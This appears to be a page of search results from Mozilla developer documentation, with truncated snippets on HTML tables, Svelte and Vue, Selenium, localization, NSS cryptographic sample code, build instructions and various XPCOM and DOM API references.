use them: the <thead> element must wrap the part of the table that is the header — this is usually the first row containing the column headings, but this is not necessarily always the case. if you are using <col>/<colgroup> element, the table header should come just below those. the <tfoot> element needs to wrap the part of the table that is the footer — this might be a final row with items in the previous rows summed, for example. you can include the table footer right at the bottom of the table as you'd expect, or just below the table header (the browser will still render it at the bottom of the table). the <tbody> element needs to wrap the other parts of the table content that aren't in the table header or footer. it will appear below the table header or sometimes footer, depend...
...you more control over your table structure and styling. active learning: adding table structure let's put these new elements into action. first of all, make a local copy of spending-record.html and minimal-table.css in a new folder. try opening it in a browser — you'll see that it looks ok, but it could stand to be improved. the "sum" row that contains a summation of the spent amounts seems to be in the wrong place, and there are some details missing from the code. put the obvious headers row inside a <thead> element, the "sum" row inside a <tfoot> element, and the rest of the content inside a <tbody> element. save and refresh, and you'll see that adding the <tfoot> element has caused the "sum" row to go down to the bottom of the table. next, add a colspan attribute to make the "...
... recap briefly on how we use data tables. a table can be a handy tool, for giving us quick access to data and allowing us to look up different values. for example, it takes only a short glance at the table below to find out how many rings were sold in gent last august. to understand its information we make visual associations between the data in this table and its column and/or row headers. ...
...And 5 more matches
TypeScript support in Svelte - Learn web development
e at all with static languages like java or c#. more code: you have to write and maintain more code. no replacement for automatic tests: even though types might help you catch several bugs, typescript is not a true replacement for a comprehensive suite of automated tests. boiler plate code: working with types, classes, interfaces, and generics can lead to over-engineered code bases. there seems to be a broad consensus that typescript is particularly well suited for large-scale projects, with many developers working on the same code base. and it is indeed being used by several large-scale projects, like angular 2, vue 3, ionic, visual studio code, jest and even the svelte compiler. nevertheless, some developers prefer to use it even on small projects like the one we are developing. in t...
...wn property in the options parameter of the app constructor (for example a typo like traget instead of target) typescript will complain: in the app.svelte component, the setuptypescript.js script has added the lang="ts" attribute to the <script> tag. moreover, thanks to type inference, in many cases we won't even need to specify types to get code assistance. for example, if you start adding an ms property to the alert component call, typescript will infer from the default value that the ms property should be a number: and if you pass something that is not a number it will complain about it: the application template has a validate script configured that runs svelte-check against your code. this package allows you to detect errors and warnings normally displayed by a code editor from ...
...rred from usage. (ts) let visible ./svelte-todo-typescript/src/components/alert.svelte:9:7 warn: variable 'timeout' implicitly has an 'any' type, but a better type may be inferred from usage. (ts) let timeout ./svelte-todo-typescript/src/components/alert.svelte:11:28 warn: parameter 'message' implicitly has an 'any' type, but a better type may be inferred from usage. ...
...And 5 more matches
Using Vue computed properties - Learn web development
these work similarly to methods, but only re-run when one of their dependencies changes. prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line. vue components are written as a combination of javascript objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure. ...
...nced features of vue (like single file components or render functions), you'll need a terminal with node + npm installed. objective: to learn how to use vue computed properties. using computed properties the aim here is to add a summary count of our to-do list. this can be useful for users, while also serving to label the list for assistive technology. if we have 2 of 5 items completed in our to-do list, our summary could read "3 items completed out of 5". while it might be tempting to do something like this: <h2>{{todoitems.filter(item => item.done).length}} out of {{todoitems.length}} items completed</h2> it would be recalculated on every render. for a small app like this, that probably doesn't matter too much. for bigger apps, or when the expression is more comp...
...ery render. for a small app like this, that probably doesn't matter too much. for bigger apps, or when the expression is more complicated, that could cause a serious performance problem. a better solution is to use vue’s computed properties. computed properties work similarly to methods, but only re-run when one of their dependencies changes. in our case, this would only re-run when the todoitems array changes. to create a computed property, we need to add a computed property to our component object, much like the methods property we've used previously. adding a summary counter add the following code to your app component object, below the methods property. the list summary method will get the number of finished todoitems, and return a string reporting this. computed: { listsummary(...
...And 5 more matches
Setting up your own test automation environment - Learn web development
e or framework that will install webdriver and the bindings required to communicate with webdriver using this language, for example, java, c#, ruby, python, javascript (node), etc. see setting up a selenium-webdriver project for more details of selenium setups for different languages. different browsers require different drivers to allow webdriver to communicate with and control them. ...
... setting up selenium in node to start with, set up a new npm project, as discussed in setting up node and npm in the last chapter. call it something different, like selenium-test. next, we need to install a framework to allow us to work with selenium from inside node. ...
...ted by selenium for some useful links. setting up selenium in node to start with, set up a new npm project, as discussed in setting up node and npm in the last chapter. call it something different, like selenium-test. next, we need to install a framework to allow us to work with selenium from inside node. we are going to choose selenium's official selenium-webdriver, as the documentation seems fairly up-to-date and it is well-maintained. if you want different options, webdriver.io and nightwatch.js are also good choices. to install selenium-webdriver, run the following command, making sure you are inside your project folder: npm install selenium-webdriver note: it is still a good idea to follow these steps even if you previously installed selenium-webdriver and downloaded the br...
...And 5 more matches
The Firefox codebase: CSS Guidelines
ow on the left. write padding: 0 3px 4px; instead of padding: 0 3px 4px 3px;. this makes it more obvious that the padding is symmetrical (so rtl won't be an issue). note: see css logical properties and values for more information. testing to test for rtl layouts, you can go to about:config and set intl.uidirection to -1. ...
...ng: 0 3px 4px; instead of padding: 0 3px 4px 3px;. this makes it more obvious that the padding is symmetrical (so rtl won't be an issue). note: see css logical properties and values for more information. testing to test for rtl layouts, you can go to about:config and set intl.uidirection to -1. ...
... for new css, when possible try to privilege using the shared directory, instead of writing the same css for the 3 platform specific directories, especially for large blocks of css. content css vs. theme css the following directories also contain css: browser/base/content/ toolkit/content/ these directories contai...
...And 5 more matches
Creating localizable web applications
he language dropdown, or by looking for locale code in the url. the latter involves rewriting the urls to include the locale code and rewriting apache's aliases to handle locale in urls. you can put the locale code as the top-most element of the url's path (e.g. http://example.com/foo/bar) or on its end (e.g. http://example.com/foo/bar/en-us). avoid using it in a subdomain, as it can cause problems with certificates (this is wrong: http://en-us.example.com/foo/bar). simplify localized versions if necessary oftentimes, it is better to slightly simplify the localized version of your web application than to serve a mix of localized and english content. for example, if not all the pages of your website are going to be localized, you may consider removing links to the english-only pages from t...
...s example the link is in the _() call so that localizers can adjust the position of the author's name, depending on the grammar of their language. use printf() for string substitution whenever there is content that will change, either upon interpretation of the code or as part of development, don't use concatenation. instead, use printf() and string formatting. for instance, don't put uris into msgid's. if you do, if the static uri changes, you'll have to regenerate the *.po files to include the new msgids. snippet 1. bad: <?= _("view a sample persona header <b><a href=\"/static/img/persona_header_labs.jpg\">here</a></b>.");?> snippet 2. good: <?php printf(_("view a sample persona header <b><a href=\"%s\">here</a></b>."), '/static/img/persona_header_labs.jpg'); ?> snippet 3. bad: <...
... php and gettext) will end up indented as well. it is thus recommended to use the solution from snippet 4. consider the following example: snippet 5. bad indentation: php code: # l10n: this will be wrongly indented. echo _("long text second part third part\n"); php output: long text second part third part messages.po: #. l10n: this will be wrongly indented. msgid "" "long text\n" " second part\n" " third part\n" msgstr "" in order to indent your code, you must use string concatenation. see snippet 4 above for an example of how to do this. use gettext contexts depending on context in which it is used, one english string might require two or more different translations. this is particularly true for short strings, like "file" or "log in"...
...And 5 more matches
Mozilla Web Developer FAQ
this document answers questions that web authors ask frequently specifically in connection with firefox and other gecko-based browsers. there are links to more general web authoring faqs at the end of this document. what are the quirks mode and the standards mode? gecko has two and a half layout modes: quirks, almost standards and standards. in the standards mode gecko aims to treat documents authored in compliance with the applicable web format specifications. in the quirks mode—for the purpose of backwards compatibility—gecko mimics some behaviors of legacy browsers in ways that are spec violations. the almost standards mode is like the standards mode except it addresses the issue of the next question by rendering table cells with images in the traditional way. the mode is pi...
... ways of deviating from the standards. in fact, since the input to the browser can be of arbitrary length, there is no upper bound for the number of distinct ways of deviating from the standards. therefore, it is impossible to test whether mozilla reacts exactly like browser x to every possible input. (likewise, there is no upper bound for the number of ways different features of the standards themselves can be combined, which makes software quality assurance challenging.) also, the ways in which browser x reacts to some standards-incompliant input are not all intentional. some of the reactions are due to unknown and unintentional interactions within a complex program. even if you had the source code for browser x, you couldn’t change anything without risking changing one or more of the u...
... that mozilla doesn’t need to match the behavior of browser x in every possible case but only in the alleged common cases. however, it turns out mozilla is doing that already. mozilla’s standards mode is, obviously, already compatible with other browsers that implement the same standards reasonably correctly. on the other hand, mozilla’s quirks mode already accommodates common non-standardisms that are due to the behaviors of common legacy browsers. instead of putting time and effort into reverse-engineering and cloning legacy browsers, it makes more sense to focus on implementing standards. standards (when implemented by others as well) promote interoperability better than cloning legacy software bug by bug. also, html was designed to adapt to different presentation media, so differ...
...And 5 more matches
Leak-hunting strategies and tips
race-malloc or lsan or valgrind to find the leaks of smaller graphs of objects. (when i refer to the size of a graph of objects, i'm referring to the number of objects, not the size in bytes. ...
...ferring to the number of objects, not the size in bytes. ...
... leak, but the object graphs are small and easy to identify using gc-based leak detection.) what leak tools do we have? ...
...And 5 more matches
Enc Dec MAC Output Public Key as CSR
2.0. if a copy of the mpl was not distributed with this * file, you can obtain one at http://mozilla.org/mpl/2.0/. ...
... pr_fprintf(pr_stderr, "symmetric key generation failed \n"); } return key; } /* * macinit */ secstatus macinit(pk11context *ctx) { secstatus rv = pk11_digestbegin(ctx); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : pk11_digestbegin()\n"); } return rv; } /* * macupdate */ secstatus macupdate(pk11context *ctx, unsigned char *msg, unsigned int msglen) { secstatus rv = pk11_digestop(ctx, msg, msglen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : digestop()\n"); } return rv; } /* * finalize macing */ secstatus macfinal(pk11context *ctx, unsigned char *mac, unsigned int *maclen, unsigned int maxlen) { secstatus rv = pk11_digestfinal(ctx, mac, maclen, maxlen); ...
... return secsuccess; } /* * generate the private key */ seckeyprivatekey * generateprivatekey(keytype keytype, pk11slotinfo *slot, int size, int publicexponent, const char *noisefilename, seckeypublickey **pubkeyp, const char *pqgfile, secupwdata *pwdata) { ck_mechanism_type mechanism; secoidtag algtag; pk11rsagenparams rsaparams; void *params; seckeyprivatekey *privkey = null; secstatus rv; unsigned char randbuf[blocksize + 1]; rv = generaterandom(randbuf, blocksize); if (rv != secsuccess) { fprintf(stderr, "error while generating the random numbers : %s\n", port_errortostring(rv)); goto cleanup; } pk11_randomupdat...
...And 5 more matches
Encrypt Decrypt_MAC_Using Token
2.0. if a copy of the mpl was not distributed with this * file, you can obtain one at http://mozilla.org/mpl/2.0/. ...
... */ secstatus macfinal(pk11context *ctx, unsigned char *mac, unsigned int *maclen, unsigned int maxlen) { secstatus rv = pk11_digestfinal(ctx, mac, maclen, maxlen); ...
... */ secstatus macfinal(pk11context *ctx, unsigned char *mac, unsigned int *maclen, unsigned int maxlen) { secstatus rv = pk11_digestfinal(ctx, mac, maclen, maxlen); if (rv != secsu...
...And 5 more matches
NSS Sample Code Sample1
name distiguish the keys in the // shared database in this example server(const char *servername); ~server(); private: int getprivatekey(seckeyprivatekey **prvkey); int getpublickey(seckeypublickey **pubkey); int wrapkey(pk11symkey *key, seckeypublickey *pubkey, secitem **data); // export raw key (unwrapped) do not use int rawexportkey(pk11symkey *key, secitem **data); char *mservername; // these items represent data that might be stored // in files or in a configuration file secitem *mwrappedenckey; secitem *mwrappedmackey; // these are the runtime keys as loaded from the files pk11symkey *menckey; pk11symkey *mmackey; }; server::server(const char *servername) : mservername(0), mwrappedenckey(0), mwrappedmackey(0), menckey(0), mmackey(0) { // copy ...
...hese items represent data that might be stored // in files or in a configuration file secitem *mwrappedenckey; secitem *mwrappedmackey; // these are the runtime keys as loaded from the files pk11symkey *menckey; pk11symkey *mmackey; }; server::server(const char *servername) : mservername(0), mwrappedenckey(0), mwrappedmackey(0), menckey(0), mmackey(0) { // copy the server name mservername = pl_strdup(servername); } server::~server() { if (mservername) pl_strfree(mservername); if (mwrappedenckey) secitem_freeitem(mwrappedenckey, pr_true); if (mwrappedmackey) secitem_freeitem(mwrappedmackey, pr_true); if (menckey) pk11_freesymkey(menckey); if (mmackey) pk11_freesymkey(mmackey); } int server::init() { int rv = 0; seckeyprivatekey *prvkey = 0; seckeypublicke...
... if (mservername) pl_strfree(mservername); if (mwrappedenckey) secitem_freeitem(mwrappedenckey, pr_true); if (mwrappedmackey) secitem_freeitem(mwrappedmackey, pr_true); if (menckey) pk11_freesymkey(menckey); if (mmackey) pk11_freesymkey(mmackey); } int server::init() { int rv = 0; seckeyprivatekey *prvkey = 0; seckeypublickey *pubkey = 0; pk11slotinfo *slot = 0; pk11rsagenparams rsaparams; secstatus s; // see if there is already a private key with this name. // if there is one, no further action is required. ...
...And 5 more matches
Build instructions
n the environment, e.g. (for posix shells), variable=value; export variable gmake target1 target2 here are some (not all) of the make variables that affect nss builds: build_opt: if set to 1, means do optimized non-debug build. default is debug, non-optimized build. use_debug_rtl: if set to 1, on windows, causes build with debug version of the c run-time library. ns_use_gcc: on platforms where gcc is not the native compiler, tells nss to build with gcc instead of the native compiler. default is to build with the native compiler. use_64: on platforms that support both 32-bit and 64-bit abis, tells nss to build for the 64-bit abi. default is 32-bit abi, except on platforms that do not support a 32-bit abi. moz_debug_symbols: tells nss to build with debug symbols, even in an optim...
...ead of the native compiler. default is to build with the native compiler. use_64: on platforms that support both 32-bit and 64-bit abis, tells nss to build for the 64-bit abi. default is 32-bit abi, except on platforms that do not support a 32-bit abi. moz_debug_symbols: tells nss to build with debug symbols, even in an optimized build. on windows, in both debug and optimized builds, when using msvc, tells nss to put symbols in a .pdb file. required to build with msvc 8 (2005 express). default is not to put debug symbols into optimized builds, and for msvc, is to put symbols into the .exe or .dll file. nsdistmode: if set to 'copy', mozilla/dist/<obj_stuff>/bin/* real files instead of symbolic links. these variables should be either undefined, or set to "1". results are undefined for var...
...et to 'copy', mozilla/dist/<obj_stuff>/bin/* real files instead of symbolic links. these variables should be either undefined, or set to "1". results are undefined for variables set to "0". for windows, install the mozillabuild environment and microsoft visual studio 2010. (the free edition works, and other versions like visual studio 2008 and visual studio 2012 may also work.) use start-shell-msvc2010.bat from mozillabuild to get a bash shell with the path already configured, and execute these instructions from within that bash shell. for rhel-5, you need to use the new assembler. you can install the new assembler as root as follows: yum install binutils220 you can then use the new assembler by adding /usr/libexec/binutils220 to the beginning of your build path. this can be done in sh...
...And 5 more matches
NSS_3.12.3_release_notes.html
ozilla.org/security/nss/releases/nss_3_12_3_rtm/. both debug and optimized builds are provided. go to the subdirectory for your platform, dbg (debug) or opt (optimized), to get the tar.gz or zip file. the tar.gz or zip file expands to an nss-3.12.3 directory containing three subdirectories: include - nss header files lib - nss shared libraries bin - nss tools and test programs you also need to download the nspr 4.7.4 binary distributions to get the nspr 4.7.4 header files and shared libraries, which nss 3.12.3 requires. nspr 4.7.4 binary distributions are in https://ftp.mozilla.org/pub/mozilla.org/nspr/releases/v4.7.4/. new in nss 3.12.3 changes in behavior: in the development of nss 3.12.3, it became necessary to change some old library behaviors due t...
....4/. new in nss 3.12.3 changes in behavior: in the development of nss 3.12.3, it became necessary to change some old library behaviors due to the discovery of certain vulnerabilities in the old behaviors, and to correct some errors that had limited nss's ability to interoperate with cryptographic hardware and software from other sources. most of these changes should cause no problems for nss users, but in some cases, some customers' software, hardware and/or certificates may be dependent on the old behaviors, and may have difficulty with the new behaviors. in anticipation of that, the nss team has provided ways to easily cause nss to revert to its previous behavior through the use of environment variables. here is a table of the new environment variables introduced i...
... nsrandcount integer (byte count) sets the maximum number of bytes to read from the file named in the environment variable nsrandfile (see below). makes nsrandfile usable with /dev/urandom. nss_allow_weak_signature_alg boolean (any non-empty value to enable) enables the use of md2 and md4 hash algorithms inside signatures. this was allowed by default before nss 3.12.3. nss_hash_alg_support string specifies algorithms allowed to be used in certain applications, such as in signatures on certificates and crls. see documentation at this link. nss_strict_nofork string ("1", "disabled", ...
...And 5 more matches
64-bit Compatibility
this article focuses on hacking tracemonkey code generation (jstracer.cpp, jsregex.cpp) in ways that will work on both 32-bit and 64-bit jit backends. ...
... this article focuses on hacking tracemonkey code generation (jstracer.cpp, jsregex.cpp) in ways that will work on both 32-bit and 64-bit jit backends. ...
...the compiler can implicitly sign or zero extend operands with unintended side effects. ...
...And 5 more matches
Querying Places
e_relative_today = 1 const unsigned long time_relative_now = 2 attribute prtime begintime attribute unsigned long begintimereference readonly attribute boolean hasbegintime readonly attribute prtime absolutebegintime attribute prtime endtime attribute unsigned long endtimereference readonly attribute boolean hasendtime readonly attribute prtime absoluteendtime attribute astring searchterms readonly attribute boolean hassearchterms attribute long minvisits attribute long maxvisits attribute boolean onlybookmarked attribute boolean domainishost attribute autf8string domain readonly attribute boolean hasdomain attribute boolean uriisprefix attribute nsiuri uri readonly attribute boolean hasuri attribute boolean annotationisnot attribute autf8string annotation readonly att...
...annotation_ascending = 15 const unsigned short sort_by_annotation_descending = 16 const unsigned short results_as_uri = 0 const unsigned short results_as_visit = 1 const unsigned short results_as_full_visit = 2 (not yet implemented -- see bug 320831) attribute unsigned short sortingmode attribute autf8string sortingannotation attribute unsigned short resulttype attribute boolean excludeitems attribute boolean excludequeries attribute boolean excludereadonlyfolders attribute boolean expandqueries attribute boolean includehidden attribute boolean showsessions attribute unsigned long maxresults const unsigned short query_type_history = 0 const unsigned short query_type_bookmarks = 1 const unsigned short query_type_unified = 2 (not yet implemented -- see bug 378798) attribute u...
...this allows for a simpler implementation and interface than a full logical operation with nested clauses while still being expressive. example of querying for any pages i've visited that contain the word "firefox" in the title/url or that i've visited today from mozilla.org. ...
...And 5 more matches
Interfacing with the XPCOM cycle collector
cyclical-ownership leak, this page is for you. the intended audience is mozilla c++ developers. what the cycle collector does the cycle collector spends most of its time accumulating (and forgetting about) pointers to xpcom objects that might be involved in garbage cycles. this is the idle stage of the collector's operation, in which special variants of nsautorefcnt register and unregister themselves very rapidly with the collector, as they pass through a "suspicious" refcount event (from n+1 to n, for nonzero n). periodically the collector wakes up and examines any suspicious pointers that have been sitting in its buffer for a while. this is the scanning stage of the collector's operation. in this stage the collector repeatedly asks each candidate for a singleton cycle-collection helpe...
...to "unlink" each object from its immediate children. note that the collector also knows how to walk through the js heap, and can locate ownership cycles that pass in and out of it. how the collector can fail the cycle collector is a conservative device. there are situations in which it will fail to collect a garbage cycle. it does not suspect any pointers by default; objects must suspect themselves, typically by using an nscyclecollectingautorefcnt rather than a nsautorefcnt. it only traverses objects that return a helper object when qi'ed to nsicyclecollectionparticipant. if it encounters an unknown edge during its traversal, it gives up on that edge; this means that every edge involved in a cycle must be participating, otherwise the cycle will not be found. the traverse and unlink ...
..., not doing so could lead to the cycle collector trying to collect the objects too soon. manually implementing the traverse and unlink methods each field that may contain cycle collected objects needs to be passed to the cycle collector, so it can detect cycles that pass through those fields. the main macro for traverse is ns_impl_cycle_collection_traverse: ns_impl_cycle_collection_traverse(msomemember) unlink works similarly: ns_impl_cycle_collection_unlink(msomemember) these macros should handle a variety of cases, such as reference counted pointers to cycle collected nsisupports or non-nsisupports objects, as well as arrays of these pointers. handling jsobjects fields if your class needs to store a pointer to a jsobject then you need to tell the cycle collector about it. the...
...And 5 more matches
nsIAccessibleProvider
anels object. xultabs 0x00001019 the collection of tab objects, usable in the tabbox and independent of as well. ...
...bjects, usable in the tabbox and independent of as well. ...
...ependent of as well. xultext 0x0000101a xultextbox 0x0000101b xulthumb 0x0000101c xultree 0x0000101d xultreecolumns 0x0000101e xultreecolumnitem 0x0000101f xultoolbar 0x00001020 xultoolbarseparator 0x00001021 xultooltip 0x00001022 xultoolbarbutton 0x00001023 xforms elements constants constant value description xformscontainer 0x00002000 used for xforms elements that provide accessible object for itself as well for anonymous content. this property is used for upload, input[type="xsd:gday"] and input[type="xsd:gmonth"] xformslabel 0x00002001 used for label element. xformsouput 0x00002002 used for output element. xformstrigger 0x00002003 used for trigger and submit elements. xformsinput 0x00002004 used for input and textarea elements. xf...
...And 5 more matches
nsIJumpListBuilder
ists are built and then applied. modifying an applied jump list is not permitted. callers should begin the creation of a new jump list using initlistbuild(), add sub lists using addlisttobuild(), then commit the jump list using commitlistbuild(). lists are built in real-time during the sequence of build calls, make sure to check for errors on each individual step. ...
...the creation of a new jump list using initlistbuild(), add sub lists using addlisttobuild(), then commit the jump list using commitlistbuild(). lists are built in real-time during the sequence of build calls, make sure to check for errors on each individual step. the default number of allowed items in a jump list is ten. users can change the number through system preferences. user may also pin items to jump lists, which take up additional slots. ...
...the jump list using commitlistbuild(). lists are built in real-time during the sequence of build calls, make sure to check for errors on each individual step. the default number of allowed items in a jump list is ten. users can change the number through system preferences. user may also pin items to jump lists, which take up additional slots. applications do not have control over the number of items allowed in jump lists; excess items added are dropped by the system. item insertion priority is defined as first to last added. users may remove items from jump lists after they are committed. the system tracks removed items between commits. a list of these items is returned by a call to initlistbuild(). nsijumplistbuilder does not filter entries added that have been removed since the last commit...
...And 5 more matches
XPCOM Interface Reference
rimgicacheimgicontainerimgicontainerobserverimgidecoderimgidecoderobserverimgiencoderimgiloaderimgirequestinidomutilsjsdistackframemoziasyncfaviconsmoziasynchistorymozicoloranalyzermozijssubscriptloadermozipersonaldictionarymoziplaceinfomoziplacesautocompletemoziregistrymozirepresentativecolorcallbackmozispellcheckingenginemozistorageaggregatefunctionmozistorageasyncstatementmozistoragebindingparamsmozistoragebindingparamsarraymozistoragecompletioncallbackmozistorageconnectionmozistorageerrormozistoragefunctionmozistoragependingstatementmozistorageprogresshandlermozistorageresultsetmozistoragerowmozistorageservicemozistoragestatementmozistoragestatementcallbackmozistoragestatementparamsmozistoragestatementrowmozistoragestatementwrappermozistoragevacuumparticipantmozistoragevaluearraymozitxtt...
...pertyinitializernsidomhtmlaudioelementnsidomhtmlformelementnsidomhtmlmediaelementnsidomhtmlsourceelementnsidomhtmltimerangesnsidomjswindownsidommousescrolleventnsidommoznetworkstatsnsidommoznetworkstatsdatansidommoznetworkstatsmanagernsidommoztoucheventnsidomnshtmldocumentnsidomnavigatordesktopnotificationnsidomnodensidomofflineresourcelistnsidomorientationeventnsidomparsernsidomprogresseventnsidomserializernsidomsimplegestureeventnsidomstoragensidomstorage2nsidomstorageeventobsoletensidomstorageitemnsidomstoragelistnsidomstoragemanagernsidomstoragewindownsidomuserdatahandlernsidomwindownsidomwindow2nsidomwindowinternalnsidomwindowutilsnsidomxpathevaluatornsidomxpathexceptionnsidomxpathexpressionnsidomxpathresultnsidomxulcontrolelementnsidomxulelementnsidomxullabeledcontrolelementnsidomxulse...
...nalprotocolservicensiexternalurlhandlerservicensiftpchannelnsiftpeventsinknsifactorynsifavicondatacallbacknsifaviconservicensifeednsifeedcontainernsifeedelementbasensifeedentrynsifeedgeneratornsifeedpersonnsifeedprocessornsifeedprogresslistenernsifeedresultnsifeedresultlistenernsifeedtextconstructnsifilensifileinputstreamnsifileoutputstreamnsifilepickernsifileprotocolhandlernsifilespecnsifilestreamsnsifileurlnsifileutilitiesnsifileviewnsifocusmanagernsiformhistory2nsiframeloadernsiframeloaderownernsiframemessagelistenernsiframemessagemanagernsiframescriptloadernsigsettingscollectionnsigsettingsservicensigeolocationprovidernsigeolocationupdatensiglobalhistorynsiglobalhistory2nsiglobalhistory3nsihtmleditornsihttpheaderlistenernsihapticfeedbacknsihttpactivitydistributornsihttpactivityobserverns...
...And 5 more matches
Mail event system
this document describes the system that events are passed amongst the mail objects. for example, when a folder gets a new message, its total message count increases. the folder pane needs to know that this changed so that it can update the message count so the user can see it. ...
...ssion itself is notified. nsifolderlistener.idl is an interface that an object can implement if it is interested in listening to changes on single folder or on all folders. if the object just needs to be notified about one folder, it should call that folder's addlistener method. if the object wants to know about all notifications on all folders, then it should register with the mail session. nsimsgmailsession.idl is a service that acts as a broadcaster for folder notifications. the mail session receives all notifications from all folders, and then forwards it on to any nsifolderlisteners that have registered themselves. the nsimsgmailsession interface actually only allows adding and removal of listeners - the notifications happen through the nsifolderlistener interface as well. methods ...
... onitem*<event> - in the nsifolderlistener interface. the mail session implements this interface. where <event> is the type of event, such as boolpropertychanged or the generic event . ...
...And 5 more matches
DOM Inspector internals - Firefox Developer Tools
there are three main facets to dom inspector. the one you are likely to be most familiar with is its inspector.xul-based primary ui. this is the two-pane inspector that appears when ctrl+shift+i (or cmd+shift+i) is pressed from one of the applications for which dom inspector has explicit support (i.e., menuitems placed via overlay). besides the dom inspector's primary ui, there are a couple other top-level inspectors which differ slightly (the object inspector and dom inspector sidebar used in seamonkey). initially, we will begin by focusing on inspector.xul and its entry point, and then expand our focus later to explain how these other inspectors differ. dom inspector from a high-level perspective the dom inspector primary ui consists of some toolbars and a panelset. the panels...
...ration overlays dom inspector is a general-purpose extension, suitable for use with any mozilla toolkit host application. in order for dom inspector to be useful with its host application, though, there should be a way to launch dom inspector within it, e.g., by a menu item and an optional keyboard shortcut such as ctrl+shift+i (or cmd+shift+i). either the host applications must provide these themselves (usually bundling dom inspector with the application, too), or dom inspector must explicitly support them by providing its own menu items and keyboard shortcuts with host-integration overlays. dom inspector explicitly supports several mozilla project applications by providing its own host-integration overlays. these overlays are: browseroverlay.xul tasksoverlay-cz.xul tasksoverlay-ff.x...
....xul, dom inspector's primary ui, will reveal that it contains almost no visible elements. as of this writing, there's a toolbox containing an empty menubar and an empty toolbar, as well as an empty vbox: <toolbox id="tbxinstoolbox"> <menubar id="mbrinspectormain"/> <toolbar id="tbinspectorprimary"/> </toolbox> <vbox id="bxinspectormain" flex="1"/> there are no menus, toolbar items, et cetera defined here. even most of the elements that aren't visible, such as key- and commandsets, are not defined in inspector.xul. these are pulled in from a series of overlays, so that the xul defining dom inspector's ui can be organized into discrete units. inspector.xul itself is only a skeleton describing the basic structure and layout of the primary dom inspector window, leaving most of...
...And 5 more matches
DataTransfer.types - Web APIs
pecial-cased for legacy reasons (for example "text"). syntax datatransfer.types; return value an array of the data formats used in the drag operation. each format is string. if the drag operation included no data, this list will be empty. if any files are included in the drag operation, then one of the types will be the string files. ...
...urn value an array of the data formats used in the drag operation. each format is string. if the drag operation included no data, this list will be empty. if any files are included in the drag operation, then one of the types will be the string files. example this example shows the use of the types and items properties. ...
...oved element to the target's dom var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); // print each format type if (ev.datatransfer.types != null) { for (var i=0; i < ev.datatransfer.types.length; i++) { console.log("... ...
...And 5 more matches
FileSystemEntrySync - Web APIs
directory of the origin of the app. for example, if your app is in http://ww.html5rocks.com, open filesystem:http://www.html5rocks.com/temporary/ in a tab. chrome shows a read-only list of all the files and folders stored the origin of your app. ...
...ww.html5rocks.com/temporary/ in a tab. chrome shows a read-only list of all the files and folders stored the origin of your app. ...
...a read-only list of all the files and folders stored the origin of your app. method overview metadata getmetadata () raises (fileexception); filesystementrysync moveto (in directoryentrysync parent, optional domstring newname) raises (fileexception); filesystementrysync copyto(in directoryentrysync parent, optional domstring newname) raises (fileexception); domstring tourl(); void remove() raises (fileexception); directoryentrysync getparent(); attributes attribute type description filesystem readonly filesystemsync the file system where the entry resides. fullpath readonly domstring the full absolute path from the root to the entry. an absolute path is a relative path f...
...And 5 more matches
HTMLButtonElement - Web APIs
8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlbuttonelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmlbuttonelement.accesskey is a domstring indicating the single-character keyboard key to give access to the button. htmlbuttonelement.autofocus is a boolean indicating whether or not the control should have input focus when the page loads, unless the user overrides it, for example by typing in a different control. only one form-associated element in a document can have this attribute specified. htmlbuttonelement.disabled is a b...
... is a htmlformelement reflecting the form that this button is associated with. if the button is a descendant of a form element, then this attribute is the id of that form element. if the button is not a descendant of a form element, then the attribute can be the id of any form element in the same document it is related to, or the null value if none matches. htmlbuttonelement.formaction is a domstring reflecting the uri of a resource that processes information submitted by the button. if specified, this attribute overrides the action attribute of the <form> element that owns this element. htmlbuttonelement.formenctype is a domstring reflecting the type of content that is used to submit the form to the server. if specified, this attribute overrides the enctype attribute of the <form> ele...
...if specified, this attribute overrides the method attribute of the <form> element that owns this element. ...
...And 5 more matches
HTMLIFrameElement - Web APIs
7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmliframeelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmliframeelement.align is a domstring that specifies the alignment of the frame with respect to the surrounding context. htmliframeelement.allow is a list of origins the the frame is allowed to display content from. this attribute also accepts the values self and src which represent the origin in the iframe's src attribute. the default value is src. htmliframeelement.allowfullscreen is a boolean indicating whether the in...
...nt.contentdocument read only returns a document, the active document in the inline frame's nested browsing context. htmliframeelement.contentwindow read only returns a windowproxy, the window proxy for the nested browsing context. htmliframeelement.csp specifies the content security policy that an embedded document must agree to enforce upon itself. htmliframeelement.frameborder is a domstring that indicates whether to create borders between frames. htmliframeelement.height is a domstring that reflects the height html attribute, indicating the height of the frame. htmliframeelement.longdesc is a domstring that contains the uri of a long description of the frame. htmliframeelement.marginheight is a domstring being the height of the frame margin. htmliframeelement.marginw...
...cates whether to create borders between frames. htmliframeelement.height is a domstring that reflects the height html attribute, indicating the height of the frame. htmliframeelement.longdesc is a domstring that contains the uri of a long description of the frame. htmliframeelement.marginheight is a domstring being the height of the frame margin. htmliframeelement.marginwidth is a domstring being the width of the frame margin. htmliframeelement.name is a domstring that reflects the name html attribute, containing a name by which to refer to the frame. ...
...And 5 more matches
HTMLLinkElement - Web APIs
oke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmllinkelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement, and linkstyle. ...
